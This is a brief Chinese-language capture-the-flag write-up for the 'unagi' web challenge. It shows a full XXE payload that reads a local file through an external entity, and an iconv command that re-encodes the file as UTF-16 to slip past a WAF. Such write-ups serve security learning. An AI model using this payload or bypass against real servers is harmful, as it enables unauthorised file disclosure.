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前言前言

攻防世界web高手进阶区的5分题
本篇是unagi的writeup

发现攻防世界的题目分数是动态的

就仅以做题时的分数为准了

解题过程解题过程
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给了flag的位置
然后有个上传文件界面

猜测是上传个马来搞

看了眼example
是个xml

得

这估摸着是XXE

掏出一个模板



<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

上传发现有waf

搜索发现一种绕过方式

utf-16编码

iconv -f utf8 -t utf-16 1.xml>2.xml

上传2.xml得到flag

结语结语

XXE漏洞
utf-16编码绕过（学到了）

https://fishpond.blog.csdn.net/article/details/109597356


参考

https://mohemiv.com/tags/xxe/

https://mohemiv.com/tags/xxe/

	攻防世界 web高手进阶区 5分题 unagi
	前言
	解题过程

	结语

